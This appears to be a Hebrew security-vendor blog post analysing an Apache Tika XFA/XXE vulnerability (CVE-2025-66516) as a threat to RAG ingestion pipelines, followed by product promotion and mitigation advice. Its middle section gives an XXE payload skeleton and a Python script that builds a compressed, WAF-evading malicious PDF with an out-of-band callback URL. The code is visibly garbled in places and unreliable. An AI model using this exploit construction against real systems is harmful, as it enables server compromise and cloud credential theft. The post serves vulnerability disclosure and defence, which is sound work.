כותרת Penligent

אנטומיה של RAG Killer: ניתוח מעמיק של CVE-2025-66516 ו-Apache Tika RCE

במהירות שבה הוטמעו צינורות Retrieval-Augmented Generation (RAG), התעשייה התעלמה באופן קולקטיבי מאמת בסיסית: הפרסר הוא משטח ההתקפה.

בעוד הכותרות בשנת 2025 התמקדו בהזרקה מהירה ובפריצת כלא, ההתקפות ההרסניות ביותר מכוונות לתוכנת הביניים הלא זוהרת המעבדת את הנתונים. CVE-2025-66516 (CVSS 10.0) הוא תוצאה של השמטה זו. אין מדובר בפגיעות של בינה מלאכותית. כשלעצמו; זוהי פגיעות בתשתית ישנה המשמשת כנשק נגד ארכיטקטורות AI מודרניות.

ניתוח זה מפרט את המכניזם של פגיעות Apache Tika XFA, מדגים מדוע WAFs סטנדרטיים נכשלים בזיהוי הפגיעות, ומספק אסטרטגיית הוכחת תפיסה (PoC) מאומתת לבודקי חדירות.

ההקשר: מדוע CVE-2025-66516 חשוב כעת

כדי להבין את חומרת המצב, עלינו לנתח את הארכיטקטורה של מערכת RAG ארגונית טיפוסית בשנת 2026.

  1. שכבת המשתמש: עובד מעלה קובץ PDF (למשל, דוח כספי או קורות חיים) ל"עוזר AI" פנימי.
  2. שכבת בליעה: ה-backend (LangChain, LlamaIndex או סקריפטים מותאמים אישית ב-Python) משתמש במטעין מסמכים.
  3. שכבת ניתוח: 85% מהמטענים הללו מסתמכים על אפצ'י טיקה (לעתים קרובות פועל כשרת ללא ממשק משתמש במכולה של Docker) כדי לחלץ טקסט.
  4. וקטוריזציה: הטקסט מוטמע ומאוחסן במאגר נתונים וקטורי (Pinecone, Milvus, Weaviate).

CVE-2025-66516 פגיעות שכבה 3. הוא מאפשר לתוקף להטמיע מטען זדוני של XML Forms Architecture (XFA) בתוך קובץ PDF סטנדרטי. כאשר Tika מנסה לנתח את נתוני הטופס כדי לחלץ טקסט עבור LLM, הוא מבצע את ה-XML, מה שמוביל ל ישות חיצונית XML (XXE) הזרקה.

מכיוון ש-Tika Server פועל לעתים קרובות עם הרשאות root בתוך קונטיינרים כדי לטפל בקבצים זמניים, XXE זה מתעצם מיד ל- ביצוע קוד מרחוק (RCE) או זיוף בקשות בצד השרת (SSRF), מה שמאפשר לתוקפים לשפוך את פרטי הזיהוי של AWS או לעבור ל-VPC הפנימי.

אנטומיה של RAG Killer: ניתוח מעמיק של CVE-2025-66516 ו-Apache Tika RCE

פירוט טכני: הפגם הלוגי של מפרש ה-XFA

הפגיעות קיימת ב- org.apache.tika.parser.pdf.PDFParser כיתה, במיוחד באופן שבו היא מטפלת ב- XDP (חבילת נתוני XML) בתוך קובץ PDF.

בגרסאות שקדמו ל-3.2.2, הלוגיקה לחילוץ נתוני XFA נראתה בערך כך (ייצוג Java מפושט):

Java

// קטע קוד פגיע (מושגי) if (document.getCatalog().getAcroForm().hasXFA()) { XFA xfa = document.getCatalog().getAcroForm().getXFA(); Document xfaDom = xfa.getDomDocument(); // <--- נקודת הפעלה // ממיר ה-XML המוגדר כברירת מחדל כאן לא השבית DTDs // או ישויות חיצוניות ביעילות עבור זרמי XFA. this.extractTextFromXFA(xfaDom); }

הכישלון הקריטי היה ההנחה שמנוע העיבוד של קבצי PDF (PDFBox) ניקה את זרם ה-XML לפני ש-Tika ניגש ל-DOM. זה לא קרה. המנתח סמך באופן מובלע על המבנה הפנימי של קובץ ה-PDF.

השוואה: XXE סטנדרטי לעומת CVE-2025-66516

תכונהתקן XXECVE-2025-66516 (Tika XFA)
וקטורהעלאת XML ישירה (.xml)מוטמע בתוך PDF בינארי (.pdf)
איתורקל (WAFs חוסם <!ENTITY)קשה (הנתונים נדחסים/מקודדים בזרמי PDF)
זכויות יתרמשתמש אינטרנט מוגבל בדרך כלללעתים קרובות Root (ברירות מחדל של שרת Tika מבוסס Docker)
השפעהגילוי מידעRCE באמצעות טעינת מחלקות / SSRF

בניית הניצול (PoC)

כדי להפוך את זה לנשק, עורך טקסט פשוט אינו מספיק. עלינו לשנות את מבנה האובייקט של קובץ ה-PDF. המטרה היא להזריק קובץ זדוני XDP זרם המתייחס לישות חיצונית הנמצאת בשליטתך.

שלב 1: המטען הזדוני ב-XML

ראשית, אנו יוצרים את ה-XML המגדיר את הישות. אנו רוצים לבדוק אינטראקציה Out-of-Band (OOB) כדי לאשר את הפגיעות מבלי לקרוס את השרת.

XML

<xdp:xdp xmlns:xdp=""> <!DOCTYPE data [ <!ENTITY % payload SYSTEM ""> %payload; ]> CVE-Check

אנטומיה של RAG Killer: ניתוח מעמיק של CVE-2025-66516 ו-Apache Tika RCE

שלב 2: סקריפט הזרקת Python

אנו משתמשים ב-Python כדי לעטוף את ה-XML הזה במבנה אובייקט PDF תקף. כך עוקפים את תוכנת האנטי-וירוס המבוססת על חתימות, מכיוון שהקובץ הוא קובץ PDF תקף מבחינה מתמטית.

פייתון

`import zlib

def build_exploit_pdf(callback_url): # 1. הגדר את חבילת ה-XFA הזדונית xfa_xml = f””” <xdp:xdp xmlns:xdp=”http://ns.adobe.com/xdp/"> <!DOCTYPE root [ %xxe; ]> """.strip()

# 2. דחיסת הזרם (הסוואה) # Tika תנפח זאת באופן אוטומטי, אך WAFs לעתים קרובות מפספסים זרמים דחוסים stream_content = zlib.compress(xfa_xml.encode('utf-8'))

# 3. בניית גוף ה-PDF # אובייקט 3 מתייחס לזרם XFA pdf_body = ( b"%PDF-1.7\\n" b"1 0 obj\\n<< /Type /Catalog /Pages 2 0 R /AcroForm <> >>\\nendobj\\n"
    b"2 0 obj\\n<>\\nendobj\\n" b"3 0 obj\\n<>\\n"
    b"stream\\n" + stream_content + b"\\nendstream\\nendobj\\n" b"trailer\\n<>\\n%%EOF" ) עם open("resume_hacker.pdf", "wb") כ- f: f.write(pdf_body)
print(f"[+] ארטפקט 'resume_hacker.pdf' נוצר באמצעות דחיסת zlib.")

לבצע

build_exploit_pdf(“http://burp-collaborator-url/xxe_trigger“)`

כאשר סוכן ה-RAG של הקורבן מעבד קורות_חיים_האקר.pdf כדי ליצור הטמעות, ה-backend של Tika מנפח את האובייקט 3, מפרש את ה-XML ושולח בקשה לכתובת ה-URL של השותף שלך.

הנקודה העיוורת ב-DevSecOps המודרני

מדוע CVE-2025-66516 נותר קיים גם בשנת 2026? הדבר מדגיש פער משמעותי בשיטת "Shift Left".

רוב צוותי DevSecOps סורקים את קוד מקור (SAST) והם תמונות בסיס (סריקת מכולות). עם זאת, Tika מטופלת לעתים קרובות ככלי "קופסה שחורה".

  • SAST לא רואה את זה כי זו תלות בינארית.
  • DAST (בדיקת אבטחת יישומים דינמית) בדרך כלל מבצעת פוזינג על נקודות הקצה של ה-API באמצעות JSON או SQLi, אך לעיתים נדירות מנסה להעלות קבצים מורכבים בפורמט בינארי רב-לשוני.

זה המקום שבו מתודולוגיות הבדיקה המסורתיות נכשלות מול סוכני AI. הסוכן מתוכנן לעבד נתונים מורכבים ולא מובנים; לכן, מקרי הבדיקה חייבים להיות נתונים מורכבים ולא מובנים.

אימות אוטומטי עם Penligent

וקטור ספציפי זה — התקפות המוטמעות בתוך פורמטים של קבצים לא מובנים — הוא מוקד מרכזי של אבטחת התקפה מהדור הבא. זה המקום שבו כלים כמו Penligent להבדיל את עצמם מסורקים מסורתיים כמו Nessus או Burp Suite.

סוכני ה-AI של Penligent מתוכננים להבין את הקשר של היישום. כאשר Penligent נתקל בנקודת קצה להעלאת קבצים בצינור RAG, הוא לא רק מטשטש את כותרות ה-HTTP. הוא בונה באופן חכם מטענים "מבוססי מוטציה" כמו הניצול של PDF לעיל. הוא למעשה שואל: "אם אזיין את ה-AI הזה בקורות חיים המכילים ניצול ברמת הליבה, האם הוא יעבד אותם?"

על ידי אוטומציה של יצירת קבצים רב-לשוניים אלה (קובצי PDF המכילים XXE, תמונות המכילות webshells של PHP), Penligent מדמה תוקף מתוחכם המבין את לוגיקת הניתוח הבסיסית של היעד, ומספק הערכה ריאלית של עמידות צינור ה-RAG כנגד CVE-2025-66516 ותקיפות "בלבול פורמט" דומות.

אסטרטגיות הפחתה

אם הארגון שלכם מסתמך על Tika (או על מסגרות המשלבות אותה, כמו Unstructured.io או LangChain Community), יש ליישם תיקונים אלה באופן מיידי.

1. האפשרות ה"גרעינית": השבתת XFA

אלא אם כן העסק שלך דורש באופן ספציפי ניתוח נתונים מטפסי PDF אינטראקטיביים (דבר נדיר ב-RAG), השבת את מפרש ה-XFA לחלוטין ב- tika-config.xml.

XML

false false false

2. בידוד המנתח (דפוס "אטם האוויר")

לעולם אל תפעיל ניתוח מסמכים באותו הקשר כמו לוגיקת היישום או מסד הנתונים הווקטורי שלך.

  • הפעל את Tika במכל ללא הפצה.
  • בידוד רשת: מיכל ה-Tika צריך להכיל גישה ללא יציאה. הוא מקבל קובץ, מחזיר טקסט, ואינו יכול ליזום חיבורים לאינטרנט או לשירות המטא-נתונים הפנימי בענן (169.254.169.254).
  • מגבלות משאבים: הגדר מגבלות זיכרון קפדניות (Xmx) כדי למנוע התקפות DoS מסוג "Billion Laughs", שהן לעתים קרובות דומות ל-XXE.

3. מעבר לפרסרים בסביבת Sandbox

שקול לעבור מפרסים מבוססי Java עבור קלט לא מהימן. חלופות מודרניות המשתמשות ב-Rust או Go, או בסביבות סנדבוקס כמו gVisor או AWS Firecracker, מספקים שכבת בידוד חזקה הרבה יותר למשימה המסוכנת מטבעה של ניתוח קבצים בינאריים.

סיכום

CVE-2025-66516 משמשת כקריאת השכמה לאבטחת בינה מלאכותית. אנו בונים טירות חכמות על חול. כל עוד מודלי הבינה המלאכותית שלנו מסתמכים על ספריות ניתוח תחביריות בנות עשרות שנים כדי לפרש את העולם, ספריות אלה יישארו הדרך הקלה ביותר עבור תוקפים.

אבטחו את שכבת הקליטה שלכם. אמתו את גרסאות Tika שלכם. והניחו שכל קובץ PDF שהועלה למערכת שלכם הוא כלי נשק, עד שיוכח אחרת.

הפניות ולקריאה נוספת

שתף את הפוסט:
פוסטים קשורים
he_ILHebrew